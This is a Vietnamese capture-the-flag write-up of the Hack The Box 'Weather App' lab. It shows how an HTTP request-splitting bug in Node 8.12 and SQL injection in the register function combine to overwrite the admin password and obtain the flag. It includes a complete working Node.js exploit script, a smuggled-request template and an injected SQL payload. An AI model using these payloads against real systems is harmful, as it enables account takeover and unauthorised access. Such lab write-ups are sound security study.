# [HTB] Weather App Writeup
## Giới thiệu

Đập vào mắt là ông già khá là zui tánh rồi :))))
Ngay trang chính không có bất kì một nút hay một tính năng nào chỉ là hiện thành phố và nhiệt độ, nên là mình sẽ bật source code để ngẫm xem có gì hay ho
## Mục tiêu và đối tượng
1. Mục tiêu
1. File flag sẽ được render khi mà mình đăng nhập bằng acc admin
2. Đối tượng đáng ngờ
1. Node version 8.12.0 ([list các bug](https://snyk.io/test/docker/node%3A8.12.0-alpine))
2. hàm register có khả năng bị SQLi 
3. hàm getWeather nhận endpoint của chính người dùng nhập vào và gửi request 
Đọc thì thấy với register ta chỉ có thể đăng kí account mới ở phía máy victim và hàm getWeather như một hint bảo mình sẽ dùng nó để request về chính local của victim để đăng kí account
## Thực hiện
Với những dữ kiện như trên thì ta phải làm cách nào đó để mà tận dụng cái http request của chính app để gửi một POST request tới endpoint register để tạo ra được một account, hmmmmmm.
Chứ còn không là chưa thấy hướng đi nào khác.
Đành phải ngồi mò xem list bug đó có cái nào dính tới code mình không.
Sau vài tiếng ngồi mò thì mình thấy được 1 bug có liên quan tới thằng HttpHelper
[Snyk vul node8.12](https://snyk.io/test/docker/node%3A8.12.0-alpine#SNYK-UPSTREAM-NODE-73603)
Ở đây app sử dụng chính lib http của nodejs bản 8.12 và lib bản đó dính một lỗi về http splitting
Ở lỗi này khiến người tấn công có thể gửi 1 request nhưng vào phía app thì sẽ tách ra tùy theo input mà attacker gửi tới. Nghĩa là app sử dụng hàm GET nhưng với lỗi này mình có thể tạo một POST request đính kèm theo để gửi.
Từ yếu tố này thì mình có thể tạo một request để có thể tạo một account thử xem.
Ở đây ta có một vài kí tự đặc biệt như:
```
space = "\u0120"
\r = "\u010D"
\n = "\u010A"
```
Để tạo được một request POST thì mẫu ban đầu sẽ là
```
GET / HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
username=admin&password=123
GET / HTTP/1.1
Host: 127.0.0.1
```
Ta sẽ kèm theo đó tận dụng lỗi SQLi ở trên để có thể update lại password theo ý của mình, craft một query để ghép vào query gốc
```
INSERT INTO users (username, password) VALUES ('admin', '123') ON CONFLICT (username) DO UPDATE SET password = '1234';--')
```
Mình sẽ comment ‘) ở phía sau cùng bằng - - để tránh sinh lỗi (đoạn màu xanh là đoạn mà mình sẽ inject vào để tạo ra câu lệnh mình muốn)
Từ những dữ kiện trên mình sẽ có một đoạn code hoàn chỉnh như sau (chạy bằng NodeJS)
Để chạy code thì cần có npm và node, và cũng đã install package axios để gửi request.
```
const axios = require('axios');
async function request() {
const space = "\u0120";
const r = "\u010D";
const n = "\u010A";
let username = 'admin';
let password = "123')" + space + "ON" + space + "CONFLICT" + space + "(username)" + space + "DO" + space + "UPDATE" + space + "SET" + space + "password" + space + "=" + "%271234%27;"
username = username.replace(" ", space).replace("'", "%27").replace('"', "%22");
password = password.replace(" ", space).replace("'", "%27").replace('"', "%22");
const contentLength = username.length + password.length + 19;
const rn = r + n;
const httpTag = "HTTP/1.1";
const hostHeader = "Host:" + space + "127.0.0.1";
const postReqTag = "POST" + space + "/register";
const contentTypeHeader = "Content-Type:" + space + "application/x-www-form-urlencoded"
const contentLengthHeader = "Content-Length:" + space + contentLength.toString();
const payloadUrl = "127.0.0.1/" + space + httpTag + rn + hostHeader + rn + rn + postReqTag + space + httpTag + rn + hostHeader + rn + contentTypeHeader + rn + contentLengthHeader + rn + rn + "username=" + username + "&password=" + password + rn + rn + "GET" + space;
axios.post('http://139.59.167.73:30799/api/weather', {
endpoint: payloadUrl,
city: "Toronto",
country: "CA"
}, {
Referer: '139.59.167.73:30799',
'Content-Type': 'application/json',
Origin: '139.59.167.73:30799',
});
}
request();
```
Sau khi thực thi và không có lỗi nào xảy ra thì mình sẽ thử đăng nhập thử xem

```
admin
1234
```
Và cuối cùng cũng đã có flag (LAB này khá chua :V)

Nguồn mà mình đã tham khảo:
1. https://blog.csdn.net/f_cccc/article/details/116406838
2. https://infosec.itsmeuday.com/blog/htb_weather_app